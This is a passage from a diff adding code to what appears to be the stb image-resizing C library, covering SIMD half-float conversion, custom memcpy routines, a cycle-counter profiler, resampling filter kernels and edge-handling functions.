+    __m128i absf_int    = _mm_castps_si128(absf); // the cast is "free" (extra bypass latency, but no thruput hit)
+    __m128i f16max      = STBIR__CONSTI(c_f16max);
+    __m128  b_isnan     = _mm_cmpunord_ps(absf, absf); // is this a NaN?
+    __m128i b_isregular = _mm_cmpgt_epi32(f16max, absf_int); // (sub)normalized or special?
+    __m128i nanbit      = _mm_and_si128(_mm_castps_si128(b_isnan), STBIR__CONSTI(c_nanbit));
+    __m128i inf_or_nan  = _mm_or_si128(nanbit, STBIR__CONSTI(c_infty_as_fp16)); // output for specials
+
+    __m128i min_normal  = STBIR__CONSTI(c_min_normal);
+    __m128i b_issub     = _mm_cmpgt_epi32(min_normal, absf_int);
+
+    // "result is subnormal" path
+    __m128  subnorm1    = _mm_add_ps(absf, _mm_castsi128_ps(STBIR__CONSTI(c_subnorm_magic))); // magic value to round output mantissa
+    __m128i subnorm2    = _mm_sub_epi32(_mm_castps_si128(subnorm1), STBIR__CONSTI(c_subnorm_magic)); // subtract out bias
+
+    // "result is normal" path
+    __m128i mantoddbit  = _mm_slli_epi32(absf_int, 31 - 13); // shift bit 13 (mantissa LSB) to sign
+    __m128i mantodd     = _mm_srai_epi32(mantoddbit, 31); // -1 if FP16 mantissa odd, else 0
+
+    __m128i round1      = _mm_add_epi32(absf_int, STBIR__CONSTI(c_normal_bias));
+    __m128i round2      = _mm_sub_epi32(round1, mantodd); // if mantissa LSB odd, bias towards rounding up (RTNE)
+    __m128i normal      = _mm_srli_epi32(round2, 13); // rounded result
+
+    // combine the two non-specials
+    __m128i nonspecial  = _mm_or_si128(_mm_and_si128(subnorm2, b_issub), _mm_andnot_si128(b_issub, normal));
+
+    // merge in specials as well
+    __m128i joined      = _mm_or_si128(_mm_and_si128(nonspecial, b_isregular), _mm_andnot_si128(b_isregular, inf_or_nan));
+
+    __m128i sign_shift  = _mm_srai_epi32(_mm_castps_si128(justsign), 16);
+    __m128i final2, final= _mm_or_si128(joined, sign_shift);
+
+    f           =  _mm_loadu_ps(input+4);
+    justsign    = _mm_and_ps(msign, f);
+    absf        = _mm_xor_ps(f, justsign);
+    absf_int    = _mm_castps_si128(absf); // the cast is "free" (extra bypass latency, but no thruput hit)
+    b_isnan     = _mm_cmpunord_ps(absf, absf); // is this a NaN?
+    b_isregular = _mm_cmpgt_epi32(f16max, absf_int); // (sub)normalized or special?
+    nanbit      = _mm_and_si128(_mm_castps_si128(b_isnan), c_nanbit);
+    inf_or_nan  = _mm_or_si128(nanbit, STBIR__CONSTI(c_infty_as_fp16)); // output for specials
+
+    b_issub     = _mm_cmpgt_epi32(min_normal, absf_int);
+
+    // "result is subnormal" path
+    subnorm1    = _mm_add_ps(absf, _mm_castsi128_ps(STBIR__CONSTI(c_subnorm_magic))); // magic value to round output mantissa
+    subnorm2    = _mm_sub_epi32(_mm_castps_si128(subnorm1), STBIR__CONSTI(c_subnorm_magic)); // subtract out bias
+
+    // "result is normal" path
+    mantoddbit  = _mm_slli_epi32(absf_int, 31 - 13); // shift bit 13 (mantissa LSB) to sign
+    mantodd     = _mm_srai_epi32(mantoddbit, 31); // -1 if FP16 mantissa odd, else 0
+
+    round1      = _mm_add_epi32(absf_int, STBIR__CONSTI(c_normal_bias));
+    round2      = _mm_sub_epi32(round1, mantodd); // if mantissa LSB odd, bias towards rounding up (RTNE)
+    normal      = _mm_srli_epi32(round2, 13); // rounded result
+
+    // combine the two non-specials
+    nonspecial  = _mm_or_si128(_mm_and_si128(subnorm2, b_issub), _mm_andnot_si128(b_issub, normal));
+
+    // merge in specials as well
+    joined      = _mm_or_si128(_mm_and_si128(nonspecial, b_isregular), _mm_andnot_si128(b_isregular, inf_or_nan));
+
+    sign_shift  = _mm_srai_epi32(_mm_castps_si128(justsign), 16);
+    final2      = _mm_or_si128(joined, sign_shift);
+    final       = _mm_packs_epi32(final, final2);
+    stbir__simdi_store( output,final );
+  }
+
+#elif defined(STBIR_NEON) && defined(_MSC_VER) && defined(_M_ARM64) && !defined(__clang__) // 64-bit ARM on MSVC (not clang)
+
+  static stbir__inline void stbir__half_to_float_SIMD(float * output, stbir__FP16 const * input)
+  {
+    float16x4_t in0 = vld1_f16(input + 0);
+    float16x4_t in1 = vld1_f16(input + 4);
+    vst1q_f32(output + 0, vcvt_f32_f16(in0));
+    vst1q_f32(output + 4, vcvt_f32_f16(in1));
+  }
+
+  static stbir__inline void stbir__float_to_half_SIMD(stbir__FP16 * output, float const * input)
+  {
+    float16x4_t out0 = vcvt_f16_f32(vld1q_f32(input + 0));
+    float16x4_t out1 = vcvt_f16_f32(vld1q_f32(input + 4));
+    vst1_f16(output+0, out0);
+    vst1_f16(output+4, out1);
+  }
+
+  static stbir__inline float stbir__half_to_float( stbir__FP16 h )
+  {
+    return vgetq_lane_f32(vcvt_f32_f16(vld1_dup_f16(&h)), 0);
+  }
+
+  static stbir__inline stbir__FP16 stbir__float_to_half( float f )
+  {
+    return vget_lane_f16(vcvt_f16_f32(vdupq_n_f32(f)), 0).n16_u16[0];
+  }
+
+#elif defined(STBIR_NEON) && ( defined( _M_ARM64 ) || defined( __aarch64__ ) || defined( __arm64__ ) ) // 64-bit ARM
+
+  static stbir__inline void stbir__half_to_float_SIMD(float * output, stbir__FP16 const * input)
+  {
+    float16x8_t in = vld1q_f16(input);
+    vst1q_f32(output + 0, vcvt_f32_f16(vget_low_f16(in)));
+    vst1q_f32(output + 4, vcvt_f32_f16(vget_high_f16(in)));
+  }
+
+  static stbir__inline void stbir__float_to_half_SIMD(stbir__FP16 * output, float const * input)
+  {
+    float16x4_t out0 = vcvt_f16_f32(vld1q_f32(input + 0));
+    float16x4_t out1 = vcvt_f16_f32(vld1q_f32(input + 4));
+    vst1q_f16(output, vcombine_f16(out0, out1));
+  }
+
+  static stbir__inline float stbir__half_to_float( stbir__FP16 h )
+  {
+    return vgetq_lane_f32(vcvt_f32_f16(vdup_n_f16(h)), 0);
+  }
+
+  static stbir__inline stbir__FP16 stbir__float_to_half( float f )
+  {
+    return vget_lane_f16(vcvt_f16_f32(vdupq_n_f32(f)), 0);
+  }
+
+#elif defined(STBIR_WASM) || (defined(STBIR_NEON) && (defined(_MSC_VER) || defined(_M_ARM) || defined(__arm__))) // WASM or 32-bit ARM on MSVC/clang
+
+  static stbir__inline void stbir__half_to_float_SIMD(float * output, stbir__FP16 const * input)
+  {
+    for (int i=0; i<8; i++)
+    {
+      output[i] = stbir__half_to_float(input[i]);
+    }
+  }
+  static stbir__inline void stbir__float_to_half_SIMD(stbir__FP16 * output, float const * input)
+  {
+    for (int i=0; i<8; i++)
+    {
+      output[i] = stbir__float_to_half(input[i]);
+    }
+  }
+
+#endif
+
+
+#ifdef STBIR_SIMD
+
+#define stbir__simdf_0123to3333( out, reg ) (out) = stbir__simdf_swiz( reg, 3,3,3,3 )
+#define stbir__simdf_0123to2222( out, reg ) (out) = stbir__simdf_swiz( reg, 2,2,2,2 )
+#define stbir__simdf_0123to1111( out, reg ) (out) = stbir__simdf_swiz( reg, 1,1,1,1 )
+#define stbir__simdf_0123to0000( out, reg ) (out) = stbir__simdf_swiz( reg, 0,0,0,0 )
+#define stbir__simdf_0123to0003( out, reg ) (out) = stbir__simdf_swiz( reg, 0,0,0,3 )
+#define stbir__simdf_0123to0001( out, reg ) (out) = stbir__simdf_swiz( reg, 0,0,0,1 )
+#define stbir__simdf_0123to1122( out, reg ) (out) = stbir__simdf_swiz( reg, 1,1,2,2 )
+#define stbir__simdf_0123to2333( out, reg ) (out) = stbir__simdf_swiz( reg, 2,3,3,3 )
+#define stbir__simdf_0123to0023( out, reg ) (out) = stbir__simdf_swiz( reg, 0,0,2,3 )
+#define stbir__simdf_0123to1230( out, reg ) (out) = stbir__simdf_swiz( reg, 1,2,3,0 )
+#define stbir__simdf_0123to2103( out, reg ) (out) = stbir__simdf_swiz( reg, 2,1,0,3 )
+#define stbir__simdf_0123to3210( out, reg ) (out) = stbir__simdf_swiz( reg, 3,2,1,0 )
+#define stbir__simdf_0123to2301( out, reg ) (out) = stbir__simdf_swiz( reg, 2,3,0,1 )
+#define stbir__simdf_0123to3012( out, reg ) (out) = stbir__simdf_swiz( reg, 3,0,1,2 )
+#define stbir__simdf_0123to0011( out, reg ) (out) = stbir__simdf_swiz( reg, 0,0,1,1 )
+#define stbir__simdf_0123to1100( out, reg ) (out) = stbir__simdf_swiz( reg, 1,1,0,0 )
+#define stbir__simdf_0123to2233( out, reg ) (out) = stbir__simdf_swiz( reg, 2,2,3,3 )
+#define stbir__simdf_0123to1133( out, reg ) (out) = stbir__simdf_swiz( reg, 1,1,3,3 )
+#define stbir__simdf_0123to0022( out, reg ) (out) = stbir__simdf_swiz( reg, 0,0,2,2 )
+#define stbir__simdf_0123to1032( out, reg ) (out) = stbir__simdf_swiz( reg, 1,0,3,2 )
+
+typedef union stbir__simdi_u32
+{
+  stbir_uint32 m128i_u32[4];
+  int m128i_i32[4];
+  stbir__simdi m128i_i128;
+} stbir__simdi_u32;
+
+static const int STBIR_mask[9] = { 0,0,0,-1,-1,-1,0,0,0 };
+
+static const STBIR__SIMDF_CONST(STBIR_max_uint8_as_float,           stbir__max_uint8_as_float);
+static const STBIR__SIMDF_CONST(STBIR_max_uint16_as_float,          stbir__max_uint16_as_float);
+static const STBIR__SIMDF_CONST(STBIR_max_uint8_as_float_inverted,  stbir__max_uint8_as_float_inverted);
+static const STBIR__SIMDF_CONST(STBIR_max_uint16_as_float_inverted, stbir__max_uint16_as_float_inverted);
+
+static const STBIR__SIMDF_CONST(STBIR_simd_point5,   0.5f);
+static const STBIR__SIMDF_CONST(STBIR_ones,          1.0f);
+static const STBIR__SIMDI_CONST(STBIR_almost_zero,   (127 - 13) << 23);
+static const STBIR__SIMDI_CONST(STBIR_almost_one,    0x3f7fffff);
+static const STBIR__SIMDI_CONST(STBIR_mastissa_mask, 0xff);
+static const STBIR__SIMDI_CONST(STBIR_topscale,      0x02000000);
+
+//   Basically, in simd mode, we unroll the proper amount, and we don't want
+//   the non-simd remnant loops to be unroll because they only run a few times
+//   Adding this switch saves about 5K on clang which is Captain Unroll the 3rd.
+#define STBIR_SIMD_STREAMOUT_PTR( star )  STBIR_STREAMOUT_PTR( star )
+#define STBIR_SIMD_NO_UNROLL(ptr) STBIR_NO_UNROLL(ptr)
+#define STBIR_SIMD_NO_UNROLL_LOOP_START STBIR_NO_UNROLL_LOOP_START
+#define STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR STBIR_NO_UNROLL_LOOP_START_INF_FOR
+
+#ifdef STBIR_MEMCPY
+#undef STBIR_MEMCPY
+#endif
+#define STBIR_MEMCPY stbir_simd_memcpy
+
+// override normal use of memcpy with much simpler copy (faster and smaller with our sized copies)
+static void stbir_simd_memcpy( void * dest, void const * src, size_t bytes )
+{
+  char STBIR_SIMD_STREAMOUT_PTR (*) d = (char*) dest;
+  char STBIR_SIMD_STREAMOUT_PTR( * ) d_end = ((char*) dest) + bytes;
+  ptrdiff_t ofs_to_src = (char*)src - (char*)dest;
+
+  // check overlaps
+  STBIR_ASSERT( ( ( d >= ( (char*)src) + bytes ) ) || ( ( d + bytes ) <= (char*)src ) );
+
+  if ( bytes < (16*stbir__simdfX_float_count) )
+  {
+    if ( bytes < 16 )
+    {
+      if ( bytes )
+      {
+        STBIR_SIMD_NO_UNROLL_LOOP_START
+        do
+        {
+          STBIR_SIMD_NO_UNROLL(d);
+          d[ 0 ] = d[ ofs_to_src ];
+          ++d;
+        } while ( d < d_end );
+      }
+    }
+    else
+    {
+      stbir__simdf x;
+      // do one unaligned to get us aligned for the stream out below
+      stbir__simdf_load( x, ( d + ofs_to_src ) );
+      stbir__simdf_store( d, x );
+      d = (char*)( ( ( (size_t)d ) + 16 ) & ~15 );
+
+      STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+      for(;;)
+      {
+        STBIR_SIMD_NO_UNROLL(d);
+
+        if ( d > ( d_end - 16 ) )
+        {
+          if ( d == d_end )
+            return;
+          d = d_end - 16;
+        }
+
+        stbir__simdf_load( x, ( d + ofs_to_src ) );
+        stbir__simdf_store( d, x );
+        d += 16;
+      }
+    }
+  }
+  else
+  {
+    stbir__simdfX x0,x1,x2,x3;
+
+    // do one unaligned to get us aligned for the stream out below
+    stbir__simdfX_load( x0, ( d + ofs_to_src ) +  0*stbir__simdfX_float_count );
+    stbir__simdfX_load( x1, ( d + ofs_to_src ) +  4*stbir__simdfX_float_count );
+    stbir__simdfX_load( x2, ( d + ofs_to_src ) +  8*stbir__simdfX_float_count );
+    stbir__simdfX_load( x3, ( d + ofs_to_src ) + 12*stbir__simdfX_float_count );
+    stbir__simdfX_store( d +  0*stbir__simdfX_float_count, x0 );
+    stbir__simdfX_store( d +  4*stbir__simdfX_float_count, x1 );
+    stbir__simdfX_store( d +  8*stbir__simdfX_float_count, x2 );
+    stbir__simdfX_store( d + 12*stbir__simdfX_float_count, x3 );
+    d = (char*)( ( ( (size_t)d ) + (16*stbir__simdfX_float_count) ) & ~((16*stbir__simdfX_float_count)-1) );
+
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      STBIR_SIMD_NO_UNROLL(d);
+
+      if ( d > ( d_end - (16*stbir__simdfX_float_count) ) )
+      {
+        if ( d == d_end )
+          return;
+        d = d_end - (16*stbir__simdfX_float_count);
+      }
+
+      stbir__simdfX_load( x0, ( d + ofs_to_src ) +  0*stbir__simdfX_float_count );
+      stbir__simdfX_load( x1, ( d + ofs_to_src ) +  4*stbir__simdfX_float_count );
+      stbir__simdfX_load( x2, ( d + ofs_to_src ) +  8*stbir__simdfX_float_count );
+      stbir__simdfX_load( x3, ( d + ofs_to_src ) + 12*stbir__simdfX_float_count );
+      stbir__simdfX_store( d +  0*stbir__simdfX_float_count, x0 );
+      stbir__simdfX_store( d +  4*stbir__simdfX_float_count, x1 );
+      stbir__simdfX_store( d +  8*stbir__simdfX_float_count, x2 );
+      stbir__simdfX_store( d + 12*stbir__simdfX_float_count, x3 );
+      d += (16*stbir__simdfX_float_count);
+    }
+  }
+}
+
+// memcpy that is specically intentionally overlapping (src is smaller then dest, so can be
+//   a normal forward copy, bytes is divisible by 4 and bytes is greater than or equal to
+//   the diff between dest and src)
+static void stbir_overlapping_memcpy( void * dest, void const * src, size_t bytes )
+{
+  char STBIR_SIMD_STREAMOUT_PTR (*) sd = (char*) src;
+  char STBIR_SIMD_STREAMOUT_PTR( * ) s_end = ((char*) src) + bytes;
+  ptrdiff_t ofs_to_dest = (char*)dest - (char*)src;
+
+  if ( ofs_to_dest >= 16 ) // is the overlap more than 16 away?
+  {
+    char STBIR_SIMD_STREAMOUT_PTR( * ) s_end16 = ((char*) src) + (bytes&~15);
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    do
+    {
+      stbir__simdf x;
+      STBIR_SIMD_NO_UNROLL(sd);
+      stbir__simdf_load( x, sd );
+      stbir__simdf_store(  ( sd + ofs_to_dest ), x );
+      sd += 16;
+    } while ( sd < s_end16 );
+
+    if ( sd == s_end )
+      return;
+  }
+
+  do
+  {
+    STBIR_SIMD_NO_UNROLL(sd);
+    *(int*)( sd + ofs_to_dest ) = *(int*) sd;
+    sd += 4;
+  } while ( sd < s_end );
+}
+
+#else // no SSE2
+
+// when in scalar mode, we let unrolling happen, so this macro just does the __restrict
+#define STBIR_SIMD_STREAMOUT_PTR( star ) STBIR_STREAMOUT_PTR( star )
+#define STBIR_SIMD_NO_UNROLL(ptr)
+#define STBIR_SIMD_NO_UNROLL_LOOP_START
+#define STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+
+#endif // SSE2
+
+
+#ifdef STBIR_PROFILE
+
+#ifndef STBIR_PROFILE_FUNC
+
+#if defined(_x86_64) || defined( __x86_64__ ) || defined( _M_X64 ) || defined(__x86_64) || defined(__SSE2__) || defined(STBIR_SSE) || defined( _M_IX86_FP ) || defined(__i386) || defined( __i386__ ) || defined( _M_IX86 ) || defined( _X86_ )
+
+#ifdef _MSC_VER
+
+  STBIRDEF stbir_uint64 __rdtsc();
+  #define STBIR_PROFILE_FUNC() __rdtsc()
+
+#else // non msvc
+
+  static stbir__inline stbir_uint64 STBIR_PROFILE_FUNC()
+  {
+    stbir_uint32 lo, hi;
+    asm volatile ("rdtsc" : "=a" (lo), "=d" (hi) );
+    return ( ( (stbir_uint64) hi ) << 32 ) | ( (stbir_uint64) lo );
+  }
+
+#endif  // msvc
+
+#elif defined( _M_ARM64 ) || defined( __aarch64__ ) || defined( __arm64__ ) || defined(__ARM_NEON__)
+
+#if defined( _MSC_VER ) && !defined(__clang__)
+
+  #define STBIR_PROFILE_FUNC() _ReadStatusReg(ARM64_CNTVCT)
+
+#else
+
+  static stbir__inline stbir_uint64 STBIR_PROFILE_FUNC()
+  {
+    stbir_uint64 tsc;
+    asm volatile("mrs %0, cntvct_el0" : "=r" (tsc));
+    return tsc;
+  }
+
+#endif
+
+#else // x64, arm
+
+#error Unknown platform for profiling.
+
+#endif  // x64, arm
+
+#endif // STBIR_PROFILE_FUNC
+
+#define STBIR_ONLY_PROFILE_GET_SPLIT_INFO ,stbir__per_split_info * split_info
+#define STBIR_ONLY_PROFILE_SET_SPLIT_INFO ,split_info
+
+#define STBIR_ONLY_PROFILE_BUILD_GET_INFO ,stbir__info * profile_info
+#define STBIR_ONLY_PROFILE_BUILD_SET_INFO ,profile_info
+
+// super light-weight micro profiler
+#define STBIR_PROFILE_START_ll( info, wh ) { stbir_uint64 wh##thiszonetime = STBIR_PROFILE_FUNC(); stbir_uint64 * wh##save_parent_excluded_ptr = info->current_zone_excluded_ptr; stbir_uint64 wh##current_zone_excluded = 0; info->current_zone_excluded_ptr = &wh##current_zone_excluded;
+#define STBIR_PROFILE_END_ll( info, wh ) wh##thiszonetime = STBIR_PROFILE_FUNC() - wh##thiszonetime; info->profile.named.wh += wh##thiszonetime - wh##current_zone_excluded; *wh##save_parent_excluded_ptr += wh##thiszonetime; info->current_zone_excluded_ptr = wh##save_parent_excluded_ptr; }
+#define STBIR_PROFILE_FIRST_START_ll( info, wh ) { int i; info->current_zone_excluded_ptr = &info->profile.named.total; for(i=0;i<STBIR__ARRAY_SIZE(info->profile.array);i++) info->profile.array[i]=0; } STBIR_PROFILE_START_ll( info, wh );
+#define STBIR_PROFILE_CLEAR_EXTRAS_ll( info, num ) { int extra; for(extra=1;extra<(num);extra++) { int i; for(i=0;i<STBIR__ARRAY_SIZE((info)->profile.array);i++) (info)[extra].profile.array[i]=0; } }
+
+// for thread data
+#define STBIR_PROFILE_START( wh ) STBIR_PROFILE_START_ll( split_info, wh )
+#define STBIR_PROFILE_END( wh ) STBIR_PROFILE_END_ll( split_info, wh )
+#define STBIR_PROFILE_FIRST_START( wh ) STBIR_PROFILE_FIRST_START_ll( split_info, wh )
+#define STBIR_PROFILE_CLEAR_EXTRAS() STBIR_PROFILE_CLEAR_EXTRAS_ll( split_info, split_count )
+
+// for build data
+#define STBIR_PROFILE_BUILD_START( wh ) STBIR_PROFILE_START_ll( profile_info, wh )
+#define STBIR_PROFILE_BUILD_END( wh ) STBIR_PROFILE_END_ll( profile_info, wh )
+#define STBIR_PROFILE_BUILD_FIRST_START( wh ) STBIR_PROFILE_FIRST_START_ll( profile_info, wh )
+#define STBIR_PROFILE_BUILD_CLEAR( info ) { int i; for(i=0;i<STBIR__ARRAY_SIZE(info->profile.array);i++) info->profile.array[i]=0; }
+
+#else  // no profile
+
+#define STBIR_ONLY_PROFILE_GET_SPLIT_INFO
+#define STBIR_ONLY_PROFILE_SET_SPLIT_INFO
+
+#define STBIR_ONLY_PROFILE_BUILD_GET_INFO
+#define STBIR_ONLY_PROFILE_BUILD_SET_INFO
+
+#define STBIR_PROFILE_START( wh )
+#define STBIR_PROFILE_END( wh )
+#define STBIR_PROFILE_FIRST_START( wh )
+#define STBIR_PROFILE_CLEAR_EXTRAS( )
+
+#define STBIR_PROFILE_BUILD_START( wh )
+#define STBIR_PROFILE_BUILD_END( wh )
+#define STBIR_PROFILE_BUILD_FIRST_START( wh )
+#define STBIR_PROFILE_BUILD_CLEAR( info )
+
+#endif  // stbir_profile
+
+#ifndef STBIR_CEILF
+#include <math.h>
+#if _MSC_VER <= 1200 // support VC6 for Sean
+#define STBIR_CEILF(x) ((float)ceil((float)(x)))
+#define STBIR_FLOORF(x) ((float)floor((float)(x)))
+#else
+#define STBIR_CEILF(x) ceilf(x)
+#define STBIR_FLOORF(x) floorf(x)
+#endif
+#endif
+
+#ifndef STBIR_MEMCPY
+// For memcpy
+#include <string.h>
+#define STBIR_MEMCPY( dest, src, len ) memcpy( dest, src, len )
+#endif
+
+#ifndef STBIR_SIMD
+
+// memcpy that is specifically intentionally overlapping (src is smaller then dest, so can be
+//   a normal forward copy, bytes is divisible by 4 and bytes is greater than or equal to
+//   the diff between dest and src)
+static void stbir_overlapping_memcpy( void * dest, void const * src, size_t bytes )
+{
+  char STBIR_SIMD_STREAMOUT_PTR (*) sd = (char*) src;
+  char STBIR_SIMD_STREAMOUT_PTR( * ) s_end = ((char*) src) + bytes;
+  ptrdiff_t ofs_to_dest = (char*)dest - (char*)src;
+
+  if ( ofs_to_dest >= 8 ) // is the overlap more than 8 away?
+  {
+    char STBIR_SIMD_STREAMOUT_PTR( * ) s_end8 = ((char*) src) + (bytes&~7);
+    STBIR_NO_UNROLL_LOOP_START
+    do
+    {
+      STBIR_NO_UNROLL(sd);
+      *(stbir_uint64*)( sd + ofs_to_dest ) = *(stbir_uint64*) sd;
+      sd += 8;
+    } while ( sd < s_end8 );
+
+    if ( sd == s_end )
+      return;
+  }
+
+  STBIR_NO_UNROLL_LOOP_START
+  do
+  {
+    STBIR_NO_UNROLL(sd);
+    *(int*)( sd + ofs_to_dest ) = *(int*) sd;
+    sd += 4;
+  } while ( sd < s_end );
+}
+
+#endif
+
+static float stbir__filter_trapezoid(float x, float scale, void * user_data)
+{
+  float halfscale = scale / 2;
+  float t = 0.5f + halfscale;
+  STBIR_ASSERT(scale <= 1);
+  STBIR__UNUSED(user_data);
+
+  if ( x < 0.0f ) x = -x;
+
+  if (x >= t)
+    return 0.0f;
+  else
+  {
+    float r = 0.5f - halfscale;
+    if (x <= r)
+      return 1.0f;
+    else
+      return (t - x) / scale;
+  }
+}
+
+static float stbir__support_trapezoid(float scale, void * user_data)
+{
+  STBIR__UNUSED(user_data);
+  return 0.5f + scale / 2.0f;
+}
+
+static float stbir__filter_triangle(float x, float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+
+  if ( x < 0.0f ) x = -x;
+
+  if (x <= 1.0f)
+    return 1.0f - x;
+  else
+    return 0.0f;
+}
+
+static float stbir__filter_point(float x, float s, void * user_data)
+{
+  STBIR__UNUSED(x);
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+
+  return 1.0f;
+}
+
+static float stbir__filter_cubic(float x, float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+
+  if ( x < 0.0f ) x = -x;
+
+  if (x < 1.0f)
+    return (4.0f + x*x*(3.0f*x - 6.0f))/6.0f;
+  else if (x < 2.0f)
+    return (8.0f + x*(-12.0f + x*(6.0f - x)))/6.0f;
+
+  return (0.0f);
+}
+
+static float stbir__filter_catmullrom(float x, float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+
+  if ( x < 0.0f ) x = -x;
+
+  if (x < 1.0f)
+    return 1.0f - x*x*(2.5f - 1.5f*x);
+  else if (x < 2.0f)
+    return 2.0f - x*(4.0f + x*(0.5f*x - 2.5f));
+
+  return (0.0f);
+}
+
+static float stbir__filter_mitchell(float x, float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+
+  if ( x < 0.0f ) x = -x;
+
+  if (x < 1.0f)
+    return (16.0f + x*x*(21.0f * x - 36.0f))/18.0f;
+  else if (x < 2.0f)
+    return (32.0f + x*(-60.0f + x*(36.0f - 7.0f*x)))/18.0f;
+
+  return (0.0f);
+}
+
+static float stbir__support_zeropoint5(float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+  return 0.5f;
+}
+
+static float stbir__support_one(float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+  return 1;
+}
+
+static float stbir__support_two(float s, void * user_data)
+{
+  STBIR__UNUSED(s);
+  STBIR__UNUSED(user_data);
+  return 2;
+}
+
+// This is the maximum number of input samples that can affect an output sample
+// with the given filter from the output pixel's perspective
+static int stbir__get_filter_pixel_width(stbir__support_callback * support, float scale, void * user_data)
+{
+  STBIR_ASSERT(support != 0);
+
+  if ( scale >= ( 1.0f-stbir__small_float ) ) // upscale
+    return (int)STBIR_CEILF(support(1.0f/scale,user_data) * 2.0f);
+  else
+    return (int)STBIR_CEILF(support(scale,user_data) * 2.0f / scale);
+}
+
+// this is how many coefficents per run of the filter (which is different
+//   from the filter_pixel_width depending on if we are scattering or gathering)
+static int stbir__get_coefficient_width(stbir__sampler * samp, int is_gather, void * user_data)
+{
+  float scale = samp->scale_info.scale;
+  stbir__support_callback * support = samp->filter_support;
+
+  switch( is_gather )
+  {
+    case 1:
+      return (int)STBIR_CEILF(support(1.0f / scale, user_data) * 2.0f);
+    case 2:
+      return (int)STBIR_CEILF(support(scale, user_data) * 2.0f / scale);
+    case 0:
+      return (int)STBIR_CEILF(support(scale, user_data) * 2.0f);
+    default:
+      STBIR_ASSERT( (is_gather >= 0 ) && (is_gather <= 2 ) );
+      return 0;
+  }
+}
+
+static int stbir__get_contributors(stbir__sampler * samp, int is_gather)
+{
+  if (is_gather)
+      return samp->scale_info.output_sub_size;
+  else
+      return (samp->scale_info.input_full_size + samp->filter_pixel_margin * 2);
+}
+
+static int stbir__edge_zero_full( int n, int max )
+{
+  STBIR__UNUSED(n);
+  STBIR__UNUSED(max);
+  return 0; // NOTREACHED
+}
+
+static int stbir__edge_clamp_full( int n, int max )
+{
+  if (n < 0)
+    return 0;
+
+  if (n >= max)
+    return max - 1;
+
+  return n; // NOTREACHED
+}
+
+static int stbir__edge_reflect_full( int n, int max )
+{
+  if (n < 0)
+  {
+    if (n > -max)
+      return -n;
+    else
+      return max - 1;
+  }
+
+  if (n >= max)
+  {
+    int max2 = max * 2;
+    if (n >= max2)
+      return 0;
+    else
+      return max2 - n - 1;
+  }
+
+  return n; // NOTREACHED
+}
+
+static int stbir__edge_wrap_full( int n, int max )
+{
+  if (n >= 0)
+    return (n % max);
+  else
+  {
+    int m = (-n) % max;
+
+    if (m != 0)
+      m = max - m;
+
+    return (m);
+  }
+}
+
+typedef int stbir__edge_wrap_func( int n, int max );
+static stbir__edge_wrap_func * stbir__edge_wrap_slow[] =
+{
+  stbir__edge_clamp_full,    // STBIR_EDGE_CLAMP
+  stbir__edge_reflect_full,  // STBIR_EDGE_REFLECT
+  stbir__edge_wrap_full,     // STBIR_EDGE_WRAP
+  stbir__edge_zero_full,     // STBIR_EDGE_ZERO
+};
+
+stbir__inline static int stbir__edge_wrap(stbir_edge edge, int n, int max)
+{
+  // avoid per-pixel switch
+  if (n >= 0 && n < max)
+      return n;
+  return stbir__edge_wrap_slow[edge]( n, max );
+}
+
+#define STBIR__MERGE_RUNS_PIXEL_THRESHOLD 16
+
+// get information on the extents of a sampler
+static void stbir__get_extents( stbir__sampler * samp, stbir__extents * scanline_extents )
+{
+  int j, stop;
+  int left_margin, right_margin;
+  int min_n = 0x7fffffff, max_n = -0x7fffffff;
+  int min_left = 0x7fffffff, max_left = -0x7fffffff;
+  int min_right = 0x7fffffff, max_right = -0x7fffffff;
+  stbir_edge edge = samp->edge;
+  stbir__contributors* contributors = samp->contributors;
+  int output_sub_size = samp->scale_info.output_sub_size;
+  int input_full_size = samp->scale_info.input_full_size;
+  int filter_pixel_margin = samp->filter_pixel_margin;
+
+  STBIR_ASSERT( samp->is_gather );
+
+  stop = output_sub_size;
+  for (j = 0; j < stop; j++ )
+  {
+    STBIR_ASSERT( contributors[j].n1 >= contributors[j].n0 );
+    if ( contributors[j].n0 < min_n )
+    {
+      min_n = contributors[j].n0;
+      stop = j + filter_pixel_margin;  // if we find a new min, only scan another filter width
+      if ( stop > output_sub_size ) stop = output_sub_size;
+    }
+  }
+
+  stop = 0;
+  for (j = output_sub_size - 1; j >= stop; j-- )
+  {
+    STBIR_ASSERT( contributors[j].n1 >= contributors[j].n0 );
+    if ( contributors[j].n1 > max_n )
+    {
+      max_n = contributors[j].n1;
+      stop = j - filter_pixel_margin;  // if we find a new max, only scan another filter width
+      if (stop<0) stop = 0;
+    }
+  }
+
+  STBIR_ASSERT( scanline_extents->conservative.n0 <= min_n );
+  STBIR_ASSERT( scanline_extents->conservative.n1 >= max_n );
+
+  // now calculate how much into the margins we really read
+  left_margin = 0;
+  if ( min_n < 0 )
+  {
+    left_margin = -min_n;
+    min_n = 0;
+  }
+
+  right_margin = 0;
+  if ( max_n >= input_full_size )
+  {
+    right_margin = max_n - input_full_size + 1;
+    max_n = input_full_size - 1;
+  }
+
+  // index 1 is margin pixel extents (how many pixels we hang over the edge)
+  scanline_extents->edge_sizes[0] = left_margin;
+  scanline_extents->edge_sizes[1] = right_margin;
+
+  // index 2 is pixels read from the input
+  scanline_extents->spans[0].n0 = min_n;
+  scanline_extents->spans[0].n1 = max_n;
+  scanline_extents->spans[0].pixel_offset_for_input = min_n;
+
+  // default to no other input range
+  scanline_extents->spans[1].n0 = 0;
+  scanline_extents->spans[1].n1 = -1;
+  scanline_extents->spans[1].pixel_offset_for_input = 0;
+
+  // don't have to do edge calc for zero clamp
+  if ( edge == STBIR_EDGE_ZERO )
+    return;
+
